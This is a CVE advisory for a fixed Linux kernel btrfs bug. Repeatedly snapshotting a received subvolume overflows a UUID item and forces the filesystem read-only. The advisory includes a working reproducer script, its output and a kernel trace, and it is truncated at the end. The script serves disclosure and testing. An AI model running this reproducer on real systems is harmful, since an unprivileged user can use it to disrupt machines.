CVE-2026-43361

In the Linux kernel, the following vulnerability has been resolved:<br /> <br /> btrfs: fix transaction abort when snapshotting received subvolumes<br /> <br /> Currently a user can trigger a transaction abort by snapshotting a<br /> previously received snapshot a bunch of times until we reach a<br /> BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we<br /> can store in a leaf). This is very likely not common in practice, but<br /> if it happens, it turns the filesystem into RO mode. The snapshot, send<br /> and set_received_subvol and subvol_setflags (used by receive) don&amp;#39;t<br /> require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user<br /> could use this to turn a filesystem into RO mode and disrupt a system.<br /> <br /> Reproducer script:<br /> <br /> $ cat test.sh<br /> #!/bin/bash<br /> <br /> DEV=/dev/sdi<br /> MNT=/mnt/sdi<br /> <br /> # Use smallest node size to make the test faster.<br /> mkfs.btrfs -f --nodesize 4K $DEV<br /> mount $DEV $MNT<br /> <br /> # Create a subvolume and set it to RO so that it can be used for send.<br /> btrfs subvolume create $MNT/sv<br /> touch $MNT/sv/foo<br /> btrfs property set $MNT/sv ro true<br /> <br /> # Send and receive the subvolume into snaps/sv.<br /> mkdir $MNT/snaps<br /> btrfs send $MNT/sv | btrfs receive $MNT/snaps<br /> <br /> # Now snapshot the received subvolume, which has a received_uuid, a<br /> # lot of times to trigger the leaf overflow.<br /> total=500<br /> for ((i = 1; i /dev/null<br /> done<br /> echo<br /> <br /> umount $MNT<br /> <br /> When running the test:<br /> <br /> $ ./test.sh<br /> (...)<br /> Create subvolume &amp;#39;/mnt/sdi/sv&amp;#39;<br /> At subvol /mnt/sdi/sv<br /> At subvol sv<br /> Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type<br /> Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system<br /> Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system<br /> Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system<br /> Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system<br /> <br /> And in dmesg/syslog:<br /> <br /> $ dmesg<br /> (...)<br /> [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252!<br /> [251067.629212] ------------[ cut here ]------------<br /> [251067.630033] BTRFS: Transaction aborted (error -75)<br /> [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235<br /> [251067.632851] Modules linked in: btrfs dm_zero (...)<br /> [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)<br /> [251067.646165] Tainted: [W]=WARN<br /> [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014<br /> [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs]<br /> [251067.649984] Code: f0 48 0f (...)<br /> [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292<br /> [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3<br /> [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750<br /> [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820<br /> [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0<br /> [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5<br /> [251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000<br /> [251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033<br /> [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0<br /> [251067.661972] Call Trace:<br /> [251067.662292] <br /> [251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs]<br /> [251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs]<br /> [251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs]<br /> [251067.665238] ? _raw_spin_unlock+0x15/0x30<br /> [251067.665837] ? record_root_<br /> ---truncated---